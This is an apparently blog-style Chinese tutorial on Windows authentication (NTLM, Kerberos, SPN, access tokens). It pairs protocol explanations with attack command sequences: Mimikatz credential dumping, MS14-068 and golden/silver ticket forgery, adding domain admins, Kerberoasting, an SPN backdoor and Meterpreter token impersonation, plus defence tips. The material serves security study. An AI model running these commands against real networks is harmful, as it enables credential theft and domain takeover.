Windows认证机制详解

一、本地认证

基础知识

Windows系统在本地认证过程中,操作系统会要求用户输入密码作为凭证去做身份验证。 在验证过程中,系统并不保存明文密码,而是将用户输入的密码转变为NTLM hash(也叫NT hash),再与储存在本地SAM文件中的哈希值进行比对。如果哈希值相同,则认证成功。

  • SAM文件可理解为一个数据库,其中保存了计算机本地用户的所有凭证信息
  • SAM文件位置:%SystemRoot%\\system32\\config\\sam

认证过程

用户登录账户时,系统会显示登录界面,以供用户输入凭证,接收输入后,输入框会将密码交给lsass进程。该进程会先保留一份明文密码,再将明文加密成NTLM hash,然后将HTLM hash与SAM文件中储存的用户凭证进行比对,如果比对成功,则完成对用户的认证。

  • 登陆界面由winlogon.exe(Windows Logon Process)提供,是Windows NT的用户登陆程序,用于管理用户登录和退出。
  • LSASS用于微软Windows系统的安全机制,用于本地安全和登陆策略,可从lsass进程中dump明文密码(win10以后不能直接dump了)

简化流程:

winlogon.exe(输入框)> 接收用户输入 > lsass.exe (存一份明文,再加密成NTLM hash)> 与sam数据库比对

NTLM hash生成算法

明文密码 > hex(16进制编码) > MD4 加密

例如:

admin -> hex(16进制编码) = 61646d696e 61646d696e -> Unicode = 610064006d0069006e00 610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

  • 本文中的NTLM hash 专指 NT hash,LM Hash由于易被破解已被淘汰,某些工具 LM:NT 格式中LM可用全0代替
  • MD4算法为真正的单向加密算法,暴力破解明文较麻烦

NTLM hash与NTLM的关系

NTLM hash为windows认证中的密码哈希散列 NTLM时一种网络认证协议,全称为:NT LAN Manager,使用HTLM hash作为认证中的根本凭证

LM hash: NTLM协议的前身LM协议(LAN Manager)所使用的密码hash。 NT与LM认证机制相同,但加密算法不同,由于LM hash较容易被破解,已被淘汰。

二、网络认证

NTLM协议:

NTLM是一种基于挑战(Chalenge)/响应(Response)认证机制的网络认证协议,其过程分为三布:协商、质询、验证,主要部分为质询

  • 协商:主要用于确认双方协议版本
  • 挑战(Chalenge)/响应(Response)认证机制起作用的范畴
  • 验证:验证主要是在质询完成后,验证结果,是认证的最后一步

NTLM(质询阶段)认证过程:

  1. Clinet向Server用明文发送自己的用户信息(用户名),告知Server自己的身份
  2. Server生成一个16位明文随机数,称为“challenge”,每次认证生成的challenge都不同。Server将challenge发回给Client,并用该Client声称的用户名对应的NTLM hash加密该challenge,并将加密结果放入内存。该结果称为“Net NTLM Hash”。
  3. Client收到challenge后,使用要登录账户的NTLM hash加密该challenge生成“response”发回给Server,该response也被称为“Net NTLM hash”
  4. Server接到Response后,将Response与Net NTLM hash进行对比,若相等则认证通过。
  • 域环境内认证:
    1. Server将用户名、加密前后challenge发给DC
    2. DC用该用户名对应hash加密challenge比对,结果返回给Server,然后反馈到Client

NTLM v2 协议

NTLM v1与NTLM v2区别:

  1. challeng: v1有8位,v2有16位
  2. 加密算法:v1是DEC,v2是HMAC-MD5

PTH攻击(Pass The Hash):

原理

windows将用户输入的密码转变为Hash进行验证,验证成功后将Hash存储在内存以便用户不用再次输入。 攻击者得到内存中用户的Hash后无需破解明文,可直接发到其他机器进行验证。该过程称为PTH攻击(Pass The Hash)

必要条件

  • 被认证的主机能够访问到服务器
  • 拥有被传递认证的用户名
  • 拥有被传递认证用户的NTLM Hash

工具

  • CrackMapExec(最好用,可以批量操作)
  • Mimikatz
  • Impacket
  • PsExec(微软自家软件,自带免杀,impacket和msf中内置)
  • PTH-smbclient(Kali内置)
  • msf(smb_login,psexec,psexec_command:单个命令执行完就退出,更隐蔽)

攻击方法

CrackMapExec用法

其他工具用法

攻击检测与预防

检测方法:

  • 监控日志检测工具监控主机异常行为(如修改LSASS进程)
  • 监控配置文件修改(WDigest,LocalAccountTokenFilterPolicy等)
  • 监控单个IP的多个连接

预防方法:

  • 禁用LATFP设置
  • 使用LAPS本地密码管理方案
  • 使用强身份认证

三、Kerberos域认证

Active Directory(活动目录)

概念:

活动目录(Active Directory)是为企业提供组织化管理资产、服务、网络对象的服务的工具。 AD使用了结构化数据存储方式,并以此为基础对目录信息进行分层,储存了有关网络对象的信息以供用户和管理员查找使用

  • 网络对象包括:用户、用户组、计算机、域、组织单位、安全策略等
  • AD服务以域名划分域的边界

功能:

  • 服务器及客户端计算机管理:管理服务器及客户端计算机账户, 所有服务器及客户端计算机加入域管理并实施组策略。
  • 用户服务:管理用户域账户、用户信息、企业通讯录(与电子邮 件系统集成)、用户组管理、用户身份认证、用户授权管理等, 按省实施组管理策略。
  • 资源管理:管理打印机、文件共享服务等网络资源。
  • 桌面配置:系统管理员可以集中的配置各种桌面配置策略,如: 用户使用域中资源权限限制、界面功能的限制、应用程序执行特 征限制、网络连接限制、安全配置限制等。
  • 应用系统支撑:支持财务、人事、电子邮件、企业信息门户、办公自动化、补丁管理、防病毒系统等各种应用系统。

在域中,网络对象可以相互访问,但是在真实情况中,需要对某些部门的计算机进行限制,例如:销售部门不能访问技术部门的服务器。这中间就需要Kerberos认证协议来验证网络对象间的权限。

Kerberos基础知识

概念:

Kerberos是一种网络认证协议,其涉及目的为通过密钥系统为Client和Server的应用程序提供强大的认证服务。 该认证过程不依赖主机OS的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传输的数据包可被任意读取、修改 在以上情况下,Kerberos作为一种可信任的第三方认证服务,通过传统密码技术(如共享密钥)执行认证服务

组成:

  • Client 客户端
  • Server 服务器
  • KDC 密钥分发中心 = DC
    • AS 身份验证服务
    • TGS 票据授权服务

票据(Ticket)是是网络对象互相访问的凭证,如TGT(Ticket Granting Ticket 金票),ST(Session Ticket 银票) DC为域控制器,DC中用户krbtgt用户的Hash用于Kerberos协议的各种验证 AD为活动目录,AD中有账户数据库(AD),其中储存了域内所有用户的密码Hash和白名单,在白名单中的Client才可以申请TGT 从物理层面看,AD与KDC均为DC(Domain Controller 域控制器)。

粗略认证过程:

  1. 与AS交互(拿金票) Client向DC发送请求,希望获得某个Server的访问权限。DC中的AS(身份认证)部分收到请求后,对请求进行身份验证。验证成功后,将TGT(金票)返回给Client。
  2. 与TGS交互(拿银票) Client得到TGT后,利用TGT再次向DC发送请求。DC通过TGT判断Client拥有权限之后,TGS会将用于访问目标Server的票据ST(银票)发送给Client。
  3. 与目标Server交互(双向认证) Client得到ST后,利用ST向Server发起申请,同时告知Server是否需要双向验证。Server验证ST成功判断Client拥有访问权限后,会向Client发送信息以供Client验证。至此,认证过程结束。

详细认证过程:

1. 与AS交互(拿金票)

通过对Client身份信息的验证,颁发给Client一个TGT。具体过程如图:

REQ:Client用自己账户的NTLM hash(CA Master Key)加密当前时间截(Timestamp),随client信息和目标Server信息等,发送给KDC。AS收到Clinet信息后,首先判断它是否在拥有请求权限的白名单中,然后取出该用户的Master Key解密该用户发送的时间截,若与当前时间截差距超过5分钟(默认),则拒绝与Clinet的认证请求

REP:若上述验证成功,KDC会: 1.根据目标Server Name生成一个Session Key(SServer-Client),再用CA Master Key加密生成SKDC-Client。 2.用KDC Master Key(krbtgt NTLM hash)加密SKDC-Client、Client信息、票据到期时间生成TGT 之后,KDC会将TGT与SKDC-Client一同发给Client,KDC不会将TGT保存到本地

  • AS_REQ = CA Master Key[Server Name + Client info + CA Master Key(Timestamp)] SKDC-Client = CA Master Key(SServer-Client) TGT = KDC Master Key(SKDC-Client + Client info + End Time)
  • SServer-Client为随机字符串,根据目标Server的信息生成
  • krbtgt是DC中的一个固定账户,其NTLM hash用于制作金票等各验证环节。其内容一般固定。

2. 与TGS交互(拿银票)

通过对TGT和Client身份信息的验证,颁发给Client一张ST。具体过程如图:

REQ:Client将TGT,SKDC-Client加密的Client信息,Server信息,Client名发送给KDC。KDC用KDC Master Key解密TGT得到其中的SKDC-Client,再用SKDC-Client解密得到Client info,并与Client发来的Client信息作比对。

REP:若信息相同,KDC会再次生成SServer-Client和过期时间,然后用SA Master Key(目标Server的NTLM hash)加密SServer-Client,Client信息,过期时间生成ST(银票 Session Ticket),再用SServer-Client加密SKDC-Client,最后全部发回给Client。

  • TGS_REQ = Server info + Client Name + SKDC-Client(Client info) + TGT ST = SA Master Key(SServer-Client + Client Name + End Time) TGS_REP = ST + SServer-Client(SKDC-Client)

3. 与Server交互(双向)

Client通过ST完成与Server的交互,过程如图:

REQ:Client用CA Master Key解密SKDC-Client得到SServer-Client,用SServer-Client加密Client info和时间截生成Auth以证明自己为ST所有者,然后将ST与Auth和标记是否需要双向验证的Flag发送给Server。Server收到CD_REP后用SA Master Key解密ST得到SServer-Client和Client info,再用SServer-Client解密Auth得到Client info 和时间截,若两个Client info相等,且时间截与当前时间截不超过五分钟,则完成对Client的认证

REP:若Client在flag中声明需要双向验证,Server会把Client发送给来的时间截用SServer-Client加密后发回去。Client解密后进行对比,若相等,则完成了对Server的认证。认证成功后,ST会一直存在Client的内存中

  • CS_REQ = ST + SServer-Client(Client info + Timestamp)

票据传递攻击(PTT)

票据传递攻击PTT(Pass The Ticket)是基于Kerberos认证的一种攻击方式,常用来做后渗透权限维持,其原理为获取并利用目标的HTLM hash来制作票据,最终获得目标的访问权限

黄金票据(TGT)

原理: KDC不保存SKDC-Client,且krbtgt的NTLM hash固定,可以利用其伪造TGT与SKDC-Client,进而控制DC

特点: 不需要与AS交互,需要krbtgt账户的NTLM hash

过程:

1.利用漏洞获取DC权限

systeminfo | find "3011780" //拿到域内普通用户Admin权限,查看是否有补丁
net config workstation //查看域名
nltest /dsgetdc:域名 //查看DC
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt //获取用户账号密码
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址 //伪造票据
mimikatz # kerberos::purge  //清空票据
mimikatz # kerberos::ptc 票据文件地址 //导入凭证
dir \\\\域控地址\\c$ //测试权限
net user aaa Qwe123... /add /domain,net group "Domain Admins" aaa /add /domain //测试权限

2.伪造金票

# privilege::debug //权限测试
# lsadump::dcsync /domain:cyberpeace.com /all /csv  //mimikatz导出Hash:
# lsadump::dcsync /domain:cyberpeace.com /user:krbtgt //查看krbtgt的sid
mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:~ /krbtgt:~ /ticket:ticket.kirbi" exit //制作金票

/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称    //不是写入内存中的命令!

3.利用金票

mimikatz # kerberos::purge //清除缓存
kerberos::ptt ticket.kirbi //导入金票
普通用户导入伪造金票后可以创建DC用户

白银票据(ST)

特点:

  1. 范围更有限,但哈希更容易获得
  2. 大多数服务不会验证PAC,所以有效TGS可以完全虚构PAC,如生成用户为域管理员
  3. TGS与DC无链接,事件日志位只于目标服务器,检测相对困难

过程:

mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt //导出Server Hash
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit //伪造票据
清空,导入票据

由于白银票据需要目标服务器的Hash,因此只能针对单个目标服务器上的某些服务去伪造,伪造的服务类型列表如下:

服务注释:服务名 WMI:HOST、RPCSS Powershell Remoteing:HOST、HTTP WinRM:HOST、HTTP Scheduled Tasks:HOST LDAP 、DCSync:LDAP Windows File Share (CIFS):CIFS Windows Remote ServerAdministration Tools:PCSS、LDAP、CIFS

防御方法:

  1. 开启PAC特权属性证书保护功能(规定Server向KDC验证Server Session Key,开启方式:将注册表中HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters中的ValidateKdcPacSignature设置为1。)
  2. 保护Server NTLM不被窃取(废话)

PTT总结

黄金票据:

  • 权限:TGT,可获取任意Kerberos访问权限
  • 流程:与KDC交互,但不与AS交互
  • 加密方式(制作需求):krbtgt NTLM hash
  • 攻击角度:需要拿到DC权限,获取krbtgt hash后,可在域中持久性隐藏,且无法溯源,可长时间控制整个域
  • 防御角度:要经常更新krbtgt密码,不允许域管账户登录其他主机

白银票据:

  • 权限:ST,只能访问指定服务器的指定服务
  • 流程:不与KDC交互,可直接访问Server
  • 加密方式(制作需求):服务账号的NTLM hash
  • 攻击角度:对外Server容易入侵,难度相对较小
  • 防御角度:开启PAC认证会降低认证效率,增加DC负担,要从根本上加固服务器对外服务

四、SPN与Kerberoast攻击

SPN(服务主体名 Service Principal name)

简介:

SPN是域环境中为每种资源分配设计的一种表示方法,是Kerberos身份验证网络中的唯一标识符。所有Kerberos身份验证网络中的主机,都必须在机器账号或用户账号下给每一个服务注册SPN

如果一个服务的权限为local system或network service的,则SPN注册到机器账号下;权限为域用户,则SPN注册到用户账号下,在域用户账号下运行服务须手动注册SPN。

Kerberos机制使用SPN将服务实例与登录账号关联,即一个域内主机上安装了多个服务实例,则每个实例都有自己的SPN。

SPN格式如下:

serviceclass / host:port servicename serviceclass:服务组件名 host :计算机FQDN,port :该服务监听的端口号 servicename:服务的专有名(distinguished name--DN)或objectGUID或Internet 主机名或FQDN 其中serviceclass,host为必选参数,不同服务组件名不同

常见SPN服务名列表:SPN扫描 - 信安本原 - 博客园 (cnblogs.com)

SPN扫描

与网络扫描相比,SPN服务扫描不通过连接IP实现判断(可能触发报警),而是通过Kerberos原理向域控查询服务,域内任何用户都可以使用此方法,在内网渗透中更加好用

SetSPN是一个本地的windows二进制文件,用于检索用户账户与服务之间的映射,可用于添加删除查看SPN(win2003没有此功能)。具体操作如下:

setspn -q */* #查找全部SPN信息
setspn -T 域名 -q */*  #查看某指定域内SPN信息:
setspn -q */* | findstr "MSSQL" #查找域中服务名带"MSSQL"的SPN

SPN服务的常用扫描工具如下:

  • PowerShell-AD-Recon工具包
  • GetUserSPNs:属于Kerberos工具包的一部分
  • PowerShellery
  • PowerView
  • Impacket
  • Powershell Empire

Kerberoast攻击

简介

ST服务票据使用服务帐户NTLM hash加密,所以任何域用户都可以从服务器转储hash用于攻击,而无需将shell引入运行该服务的系统。

Kerberoast即破解Kerberos服务票据并重写,从而获得目标Server访问权限

特点:合法访问,离线破解,不需要与服务目标有任何交互

步骤:SPN发现,请求服务票据,导出,破解,重写&注入

攻击前提

  • 域内任意主机都可查询SPN,但攻击者可利用的只有域用户下注册的SPN
  • 攻击者通常会选择那些可能设置了弱密,码破解成功率较高的票据来尝试破解。 判断可利用票据的属性有:SPNs绑定到域用户账户,最后一次密码设置(Password last set),密码过期时间最后一次登录(Last logon)等

攻击过程

kerberoat攻击中可利用的工具组合有很多种,本文只阐述一条完整的攻击链。

# kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80 //通过Mimikatz指定服务主体名称作为目标
# kerberos::list //列出内存中的所有可用票据
# kerberos::list /export //列出内存中的所有可用票据,并保存在远程主机
python tgsrepcrack.py /root/Desktop/passwords.txt PENTESTLAB_001.kirbi //利用Tim Medin Kerberoast工具包中的tgsrepcrack脚本,配合字典爆破Kerberos票据
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 //利用破解出的Hash重写票据
# kerberos::ptt PENTESTLAB.kirbi //用Mimikatz将票据注入内存

其他攻击方法

其中 Tim Medin的Kerberoast工具包Auto-Kerberoast已实现攻击流程的自动化

Kerberoast后门利用

当我们获取到有权注册SPN的域账号,或拿到了域控,我们就可以为指定的域用户添加一个SPN。这样就可以随时获得该用户的TGS,从而可以通过破解获得明文口令。 具体操作如下:

setspn.exe -U -A VNC/WIN-Q2JR4MURGS0.hacke.testlab Administrator
// 为添加管理员Administrator添加VNC/WIN-Q2JR4MURGS0.hacke.testlab

五、Windows Access Token

简介

Windows Token也叫Access Token(访问令牌),是描述进程(线程)安全上下文的对象,不同用户登录主机后,都会生成一个。(可以用来给进程分配权限)该Token在用户创建进程(线程)时被使用,不断拷贝,这也解释了A用户创建的进程没有B用户权限。

每个进程创建时,都会根据登录会话权限,由LSA(Local Security Authority)分配一个Token。如果CreatProcess时自己指定了 Token, LSA会用该Token, 否则就用父进程Token的一份拷贝。

Access Token种类:主令牌,模拟令牌 一般情况下,用户双击运行一个程序,都会拷贝“explorer.exe”的Access Token。 当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除。只有在重启机器后才会清除。

组成(记录了哪些信息)

  • 用户帐户的安全标识符(SID)
  • 用户所属的组的SID
  • 用于标识当前登录会话的登录SID
  • 用户或用户组所拥有的权限列表
  • 所有者SID
  • 主要组的SID
  • 访问控制列表
  • 访问令牌的来源
  • 令牌是主要令牌还是模拟令牌
  • 限制SID的可选列表
  • 目前的模拟等级
  • 其他统计数据

其中,SID 安全提示符(Security Identifiers) 是一个唯一的字符串,可代表一个账户、用户组、一次登录。通常有一个SID固定列表,已内置账户如Everyone默认拥有固定SID。

SID表现形式:

  • 域SID-用户ID
  • 计算机SID-用户ID
  • SID列表都会存储在域控的AD或者计算机本地账户数据库中。

Windows Access Token令牌假冒攻击

原理

用户注销后,系统会使主令牌变为模拟令牌,在重启前不会清除 攻击者可查看系统内令牌,并假冒其中任意用户

工具

  • Incognito(MSF)
  • Powershell - Invoke-TokenManipulation.ps1
  • Cobalt Strike - steal_token

过程

meterpreter > getsystem
meterpreter > load incognito #加载incognito模块
meterpreter > list_tokens –u #获取Token列表
Delegation Tokens Available ============================== NT AUTHORITY\\LOCAL SERVICENT AUTHORITY\\NETWORK SERVICENT AUTHORITY\\SYSTEM PAYLOADS\\Administrator PAYLOADS\\w7
meterpreter > impersonate_token "PAYLOADS\\\\Administrator” #利用Token假冒管理员用户
[+] Delegation token available
[+] Successfully impersonated user PAYLOADS\\Administrator

防御方法

  1. 禁止域管理员账户登录对外且未做安全加固的服务器。
  2. 重启服务器,清除令牌

六、References

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值